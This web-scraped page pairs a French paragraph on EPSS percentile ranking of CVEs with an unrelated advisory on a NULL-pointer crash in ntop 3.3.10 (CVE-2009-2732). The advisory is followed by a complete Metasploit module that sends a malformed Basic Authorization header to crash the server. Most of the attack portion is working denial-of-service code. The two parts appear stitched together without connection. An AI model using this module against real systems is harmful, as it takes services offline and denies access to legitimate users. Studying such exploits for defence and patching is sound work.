Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/36074/info The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. This issue affects ntop 3.3.10; other versions may also be affected. require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'NTOP <= 3.3.10 Basic Authorization DoS', 'Description' => %q{ A denial of service condition can be reached by specifying an invalid value for the Authorization HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on a colon. When no colon exists in the decoded string the username is left at its default NULL value. During the authentication process the length of the username is computed via strlen(), which results in a segmentation fault when it processes the null value. }, 'Author' => 'Brad Antoniewicz <brad.antoniewicz@foundstone.com>', 'License' => MSF_LICENSE, 'Version' => '1', 'References' => [ [ 'BID', 'None'], [ 'CVE', 'CVE-2009-2732'] ], 'DisclosureDate' => 'Aug 08 2009')) register_options( [Opt::RPORT(3000),], self.class ) end def run begin o = { 'uri' => '/configNtop.html', 'headers' => { 'Authorization' => 'Basic A==' } } c = connect(o) c.send_request(c.request_raw(o)) print_status("Request sent to #{rhost}:#{rport}") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Couldn't connect to #{rhost}:#{rport}") rescue ::Timeout::Error, ::Errno::EPIPE end end end
